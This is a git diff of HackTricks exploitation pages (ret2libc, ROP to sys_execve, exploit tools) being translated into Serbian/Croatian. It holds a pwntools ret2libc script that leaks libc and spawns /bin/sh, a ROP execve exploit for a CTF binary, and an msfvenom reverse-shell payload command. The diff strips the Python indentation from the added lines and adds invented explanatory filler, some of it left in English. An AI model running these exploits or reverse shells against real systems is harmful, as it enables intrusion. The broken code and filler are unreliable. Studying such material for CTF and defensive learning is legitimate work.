@@ -35,25 +33,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -63,15 +61,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -79,11 +77,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -100,54 +98,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 - - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 + +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() - - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() - - return hex(leak) +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") + +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) + +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() + +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -160,39 +158,39 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] - - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) - - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) - +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] + +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) + +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) + print(P.clean()) P.sendline(rop2) @@ -201,51 +199,42 @@ P.interactive() #Interact with your shell :) ``` {% endcode %} -# Common problems +# Uobičajeni problemi -## MAIN\_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can just where is the main code: +## MAIN\_PLT = elf.symbols\['main'] nije pronađen +Ako simbol "main" ne postoji. Tada možete samo pronaći gde se nalazi glavni kod: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +i postavite adresu ručno: ```python MAIN_PLT = 0x401080 ``` +## Puts nije pronađen -## Puts not found - -If the binary is not using Puts you should check if it is using +Ako binarna datoteka ne koristi Puts, trebali biste provjeriti koristi li ## `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Ako pronađete ovu **grešku** nakon što ste stvorili **sve** eksploate: `sh: 1: %s%s%s%s%s%s%s%s: not found` +Pokušajte **oduzeti 64 bajta od adrese "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md index afef61443..be35a3ef0 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md +++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md @@ -1,32 +1,31 @@ -# ROP - call sys\_execve +# ROP - pozovi sys\_execve
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-In order to prepare the call for the **syscall** it's needed the following configuration: +Da biste pripremili poziv za **syscall**, potrebna je sledeća konfiguracija: -* `rax: 59 Specify sys_execve` -* `rdi: ptr to "/bin/sh" specify file to execute` -* `rsi: 0 specify no arguments passed` -* `rdx: 0 specify no environment variables passed` +* `rax: 59 Specifikacija sys_execve` +* `rdi: ptr na "/bin/sh" specifikacija fajla za izvršavanje` +* `rsi: 0 specifikacija da nema prosleđenih argumenata` +* `rdx: 0 specifikacija da nema prosleđenih okruženjskih promenljivih` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). +Dakle, osnovno je potrebno negde napisati string `/bin/sh` i zatim izvršiti `syscall` (vodeći računa o potrebnoj popuni za kontrolu steka). -## Control the registers - -Let's start by finding **how to control those registers**: +## Kontrola registara +Hajde da počnemo sa pronalaženjem **kako kontrolisati te registre**: ```c ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -34,15 +33,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +Sa ovim adresama je moguće **upisati sadržaj na stek i učitati ga u registre**. -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## Upisivanje stringa -## Write string - -### Writable memory - -Frist you need to find a writable place in the memory +### Upisivačka memorija +Prvo morate pronaći upisivo mesto u memoriji. ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -51,18 +48,28 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### Upisivanje Stringa -### Write String - -Then you need to find a way to write arbitrary content in this address - +Zatim morate pronaći način da upišete proizvoljni sadržaj na ovoj adresi ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +#### 32 bita -#### 32 bits +##### ROP (Return Oriented Programming) - execv +ROP (Return Oriented Programming) je tehnika koja se koristi za izvršavanje koda u ciljnom sistemu koristeći postojeći izvršni kod. U ovom slučaju, koristimo ROP za izvršavanje funkcije `execv` u ciljnom sistemu. + +Funkcija `execv` se koristi za izvršavanje programa u Linux operativnom sistemu. Ona prima dva argumenta: putanju do programa koji želimo da izvršimo i niz argumenata koji se prosleđuju tom programu. + +Da bismo koristili ROP za izvršavanje funkcije `execv`, prvo moramo pronaći odgovarajuće ROP gagdete. ROP gagdeti su mali delovi izvršnog koda koji se završavaju sa `ret` instrukcijom. Kombinacijom ovih gagdeta možemo konstruisati lanac koji će izvršiti željenu funkciju. + +U ovom slučaju, koristimo ROP gagdete za postavljanje argumenata funkcije `execv` na odgovarajuće vrednosti. Zatim, koristimo ROP gagdete za pozivanje same funkcije `execv`. + +Kada konstruišemo ROP lanac, moramo voditi računa o redosledu argumenata i njihovim vrednostima. Takođe, moramo biti sigurni da su adrese ROP gagdeta tačne i da se nalaze u memoriji ciljnog sistema. + +Nakon što konstruišemo ROP lanac, možemo ga ubaciti u ranjivu aplikaciju i izvršiti napad. Kada se ROP lanac izvrši, funkcija `execv` će biti pozvana i program koji smo naveli će biti izvršen na ciljnom sistemu. ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -84,9 +91,23 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` +#### 64 bita -#### 64 bits +##### ROP (Return Oriented Programming) - Izvršavanje sistemskog poziva execv +ROP (Return Oriented Programming) je tehnika koja se koristi za izvršavanje zlonamernog koda u programu bez korišćenja tradicionalnih metoda ubrizgavanja koda. U ovom slučaju, koristićemo ROP za izvršavanje sistemskog poziva execv u 64-bitnom Linux okruženju. + +Sistemski poziv execv se koristi za pokretanje novog procesa sa zadatim izvršnim fajlom. Da bismo izvršili ovaj sistemski poziv pomoću ROP-a, koristimo sledeće korake: + +1. Pronalazimo odgovarajuće ROP gadgete - male delove koda koji se nalaze u programu i koji završavaju sa instrukcijom "ret" (povratak). Ovi gadgeti će nam omogućiti da izvršimo sistemski poziv execv. + +2. Kreiramo ROP lanac - niz ROP gadgeta koji će se izvršiti jedan za drugim kako bi se postigao željeni cilj. U ovom slučaju, cilj nam je izvršavanje sistemskog poziva execv. + +3. Postavljamo argumente - postavljamo argumente za sistemski poziv execv, kao što su putanja do izvršnog fajla i argumenti koje želimo da prosledimo novom procesu. + +4. Izvršavamo ROP lanac - pokrećemo ROP lanac kako bismo izvršili sistemski poziv execv i pokrenuli novi proces. + +Ova tehnika zahteva detaljno proučavanje ciljnog programa i identifikaciju odgovarajućih ROP gadgeta. Takođe je važno da se pravilno postave argumenti za sistemski poziv execv kako bi se postigao željeni rezultat. ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -102,9 +123,60 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## Primer -## Example +### Description +In this example, we will demonstrate how to use Return-Oriented Programming (ROP) and the `execv` syscall to execute a shell command on a Linux system. + +### Requirements + +To follow along with this example, you will need: + +- A Linux system +- Basic knowledge of assembly language and C programming + +### Steps + +1. Find the address of the `execv` function in the target binary. This can be done using tools like `objdump` or `readelf`. + +2. Identify gadgets in the target binary that can be used for ROP. Gadgets are short sequences of instructions that end with a `ret` instruction. + +3. Craft a ROP chain that will call the `execv` function with the desired shell command as an argument. The ROP chain should include gadgets that set up the necessary registers for the `execv` syscall. + +4. Find the address of the shell command string in the target binary. This can be done using tools like `objdump` or `readelf`. + +5. Build the payload by concatenating the ROP chain and the address of the shell command string. + +6. Execute the payload by overflowing a buffer in the target binary and redirecting the program's control flow to the ROP chain. + +### Example + +Let's assume we have a vulnerable program that reads user input into a buffer without proper bounds checking. We want to exploit this vulnerability to execute the `ls` command. + +1. Find the address of the `execv` function in the target binary. Let's say the address is `0xdeadbeef`. + +2. Identify gadgets in the target binary that can be used for ROP. Let's say we find two gadgets: + - `pop rdi; ret` at address `0xcafebabe` + - `pop rsi; ret` at address `0xfeedface` + +3. Craft a ROP chain that will call the `execv` function with the desired shell command as an argument. The ROP chain would look like this: + - `pop rdi; ret` gadget + - address of the shell command string + - `pop rsi; ret` gadget + - 0 (null value for the second argument) + - address of the `execv` function + +4. Find the address of the shell command string in the target binary. Let's say the address is `0xabcdef01`. + +5. Build the payload by concatenating the ROP chain and the address of the shell command string: + ``` + payload = rop_chain + shell_command_address + ``` + +6. Execute the payload by overflowing a buffer in the target binary and redirecting the program's control flow to the ROP chain. This can be done by providing input that exceeds the buffer's size and overwrites the return address with the address of the ROP chain. + +When the vulnerable program returns, it will execute the ROP chain, which will set up the necessary registers and call the `execv` function with the shell command as an argument. This will result in the execution of the desired shell command (`ls` in this case). ```python from pwn import * @@ -169,23 +241,22 @@ payload = "0"*0x408 + rop # Send the payload, drop to an interactive shell to use our new shell target.sendline(payload) -target.interactive() +target.interactive() ``` - -## References +## Reference * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index 24531da75..157d7b8e6 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -1,22 +1,19 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
# Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -24,72 +21,101 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` +## Shellkodovi -## Shellcodes +Shellkodovi su male programske jedinice koje se koriste u hakiranju kako bi se iskoristile ranjivosti softvera i preuzela kontrola nad ciljanim sistemom. Shellkodovi su obično napisani u mašinskom jeziku i dizajnirani su da se izvršavaju direktno na ciljnom sistemu. Ovi kodovi često sadrže zlonamerne funkcionalnosti kao što su preuzimanje daljinskog pristupa, izvršavanje komandi i manipulacija fajlovima. +Shellkodovi se često koriste u procesu eksploatacije ranjivosti kako bi se omogućilo daljinsko izvršavanje koda na ciljnom sistemu. Kada se ranjivost iskoristi, shellkod se ubacuje u ciljni sistem i izvršava se kako bi se ostvarila željena funkcionalnost. Shellkodovi mogu biti dizajnirani da rade na različitim platformama i arhitekturama, kao što su Windows, Linux, x86, x64, ARM itd. + +Postoji nekoliko alata koji se koriste za generisanje shellkodova, kao što su Metasploit Framework, msfvenom i Shellter. Ovi alati omogućavaju hakere da generišu shellkodove koji su prilagođeni specifičnim ranjivostima i ciljnim sistemima. Kada se generiše shellkod, on se obično enkodira kako bi se izbeglo otkrivanje antivirusnim programima i IDS sistemima. + +Shellkodovi su moćno oružje u arsenalu hakera i mogu se koristiti za izvršavanje različitih zlonamernih aktivnosti. Međutim, važno je napomenuti da je korišćenje shellkodova za neovlašćeni pristup ili oštećenje sistema ilegalno i može imati ozbiljne pravne posledice. Shellkodovi se trebaju koristiti samo u okviru zakonitih aktivnosti, kao što su etičko hakovanje i testiranje bezbednosti. ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - # GDB -## Install +## Instalacija +Da biste instalirali GDB na vašem sistemu, pratite sledeće korake: + +### Linux + +1. Otvorite terminal. +2. Pokrenite sledeću komandu: + +```bash +sudo apt-get install gdb +``` + +### macOS + +1. Otvorite terminal. +2. Pokrenite sledeću komandu: + +```bash +brew install gdb +``` + +### Windows + +1. Preuzmite instalacioni fajl sa [GDB sajta](https://www.gnu.org/software/gdb/download/). +2. Pokrenite instalacioni fajl i pratite uputstva za instalaciju. + +Nakon uspešne instalacije, GDB će biti dostupan na vašem sistemu i možete ga koristiti za debagovanje i analizu programa. ``` apt-get install gdb ``` +## Parametri -## Parameters +**-q** --> Ne prikazuj baner\ +**-x \** --> Automatski izvrši GDB instrukcije iz ovog fajla\ +**-p \** --> Poveži se sa procesom -**-q** --> No show banner\ -**-x \** --> Auto-execute GDB instructions from here\ -**-p \** --> Attach to process +### Instrukcije -### Instructions - -\> **disassemble main** --> Disassemble the function\ +\> **disassemble main** --> Rastavi funkciju\ \> **disassemble 0x12345678**\ \> **set disassembly-flavor intel**\ -\> **set follow-fork-mode child/parent** --> Follow created process\ -\> **p system** --> Find the address of the system function\ +\> **set follow-fork-mode child/parent** --> Prati kreirane procese\ +\> **p system** --> Pronađi adresu funkcije system\ \> **help**\ \> **quit** -\> **br func** --> Add breakpoint to function\ +\> **br func** --> Dodaj prekidnu tačku na funkciju\ \> **br \*func+23**\ \> **br \*0x12345678**\ -**> del NUM** --> Delete that number of br\ -\> **watch EXPRESSION** --> Break if the value changes +**> del NUM** --> Obriši tu broj prekidnih tačaka\ +\> **watch IZRAZ** --> Prekini ako se vrednost promeni -**> run** --> Execute\ -**> start** --> Start and break in main\ -\> **n/next** --> Execute next instruction (no inside)\ -\> **s/step** --> Execute next instruction\ -\> **c/continue** --> Continue until next breakpoint +**> run** --> Izvrši\ +**> start** --> Pokreni i prekini u main funkciji\ +\> **n/next** --> Izvrši sledeću instrukciju (ne ulazi unutar funkcije)\ +\> **s/step** --> Izvrši sledeću instrukciju\ +\> **c/continue** --> Nastavi do sledeće prekidne tačke -\> **set $eip = 0x12345678** --> Change value of $eip\ -\> **info functions** --> Info abount functions\ -\> **info functions func** --> Info of the funtion\ -\> **info registers** --> Value of the registers\ -\> **bt** --> Stack\ -\> **bt full** --> Detailed stack +\> **set $eip = 0x12345678** --> Promeni vrednost $eip\ +\> **info functions** --> Informacije o funkcijama\ +\> **info functions func** --> Informacije o funkciji\ +\> **info registers** --> Vrednost registara\ +\> **bt** --> Stog\ +\> **bt full** --> Detaljan stog -\> **print variable**\ -\> **print 0x87654321 - 0x12345678** --> Caculate\ -\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii +\> **print promenljiva**\ +\> **print 0x87654321 - 0x12345678** --> Izračunaj\ +\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Prikazuje sadržaj u oktalnom/hexadecimalnom/10/binarnom/instrukcijskom/ascii formatu * **x/o 0xDir\_hex** -* **x/2x $eip** --> 2Words from EIP +* **x/2x $eip** --> 2 reči od EIP-a * **x/2x $eip -4** --> $eip - 4 -* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -* **i r eip** --> Value of $eip -* **x/w pointer** --> Value of the pointer -* **x/s pointer** --> String pointed by the pointer -* **x/xw \&pointer** --> Address where the pointer is located -* **x/i $eip** —> Instructions of the EIP +* 